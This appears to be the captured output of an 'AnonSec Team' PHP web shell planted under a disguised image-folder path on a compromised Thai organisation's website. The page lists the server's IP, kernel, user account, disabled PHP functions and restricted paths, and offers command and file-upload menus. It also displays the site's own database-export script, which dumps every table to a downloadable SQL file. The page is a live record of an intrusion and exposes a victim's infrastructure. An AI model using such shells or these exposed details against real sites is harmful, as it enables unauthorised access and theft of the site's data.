AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/css/../js/../admin/BackupDB/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/css/../js/../admin/BackupDB/../exportDatabase.php
<?php 
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
if($_SESSION[UserRight]!="A"  and  empty($_SESSION[UserHR])){
	echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
	exit;
}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <!-- Meta, title, CSS, favicons, etc. -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

  <title><?php  echo $config[web_title];?></title>
     <?php  include("header-css.php");?>
		<!-- Ckeditor -->
		<script src="ckeditor4.10.1/ckeditor.js"></script>
 		<!-- Ckeditor -->
 
  </head>
<?php 
  include ("Connections/function-sys.php");
?>
  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
		
		 <!-- Left side column. contains the logo and sidebar -->
		  <?php  include("left-menu.php");?>
		 <!-- Left side column. contains the logo and sidebar -->

         <!-- Header -->
			<?php  include("header.php");?>
		 <!-- Header -->

        <!-- page content -->
        <div class="right_col" role="main">
          <div class="">
			<!-- Start -->

            <div class="clearfix"></div><!-- เส้น -->

            <div class="row">
              <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">

					<div class="x_title">
                    <strong> สำรองข้อมูล </strong>
                    <div class="clearfix"></div>
                  </div>

                   <div class="x_content">
				    <!-- เริ่มต้น -->
					<div class="row" style="height: auto;text-align:center">
						<IMG SRC="BackupDB/complete.jpg" WIDTH="200"   BORDER="0" ALT="">
						<?php
						$con = mysqli_connect($config['db_server'], $config['db_username'],  $config['db_password'],$config['db_name']);
						/*mysql_query("SET character_set_results=utf8");
						mysql_query("SET character_set_client=utf8");
						mysql_query("SET character_set_connection=utf8");
						*/
						mysqli_set_charset($con, "utf8");
						$tables = array();

						$result = mysqli_query($con,"SHOW TABLES");
						while ($row = mysqli_fetch_row($result)) {
							$tables[] = $row[0];
						}

						$return = '';

						foreach ($tables as $table) {
							$result = mysqli_query($con, "SELECT * FROM ".$table);
							$num_fields = mysqli_num_fields($result);

							$return .= 'DROP TABLE '.$table.';';
							$row2 = mysqli_fetch_row(mysqli_query($con, 'SHOW CREATE TABLE '.$table));
							$return .= "\n\n".$row2[1].";\n\n";

							for ($i=0; $i < $num_fields; $i++) { 
								while ($row = mysqli_fetch_row($result)) {
									$return .= 'INSERT INTO '.$table.' VALUES(';
									for ($j=0; $j < $num_fields; $j++) { 
										$row[$j] = addslashes($row[$j]);
										if (isset($row[$j])) {
											$return .= '"'.$row[$j].'"';} else { $return .= '""';}
											if($j<$num_fields-1){ $return .= ','; }
										}
										$return .= ");\n";
									}
								}
								$return .= "\n\n\n";
							
						}

						$filename="backup-".date("Y-m-d").".sql";
						$handle = fopen("BackupDB/$filename", 'w+');
						fwrite($handle, $return);
						fclose($handle);
						echo "<BR><BR><B><A HREF=\"BackupDB/saveDb.php?filename=$filename\" target=\"new\">ดาวน์โหลดข้อมูล</A></B>";


						?>
						</div>
					<!-- สิ้นสุด -->

                  </div><!-- x_content -->
                </div><!-- x_panel -->
              </div>
            </div>

			<!-- Stop -->
          </div>
        </div>
        <!-- /page content -->

		<!-- Footer -->
		 <?php  include("footer.php");?>
		<!-- Footer -->

      </div>
    </div>

 	 <?php  include("header-script.php");?>
 
  </body>
</html>

AnonSec - 2021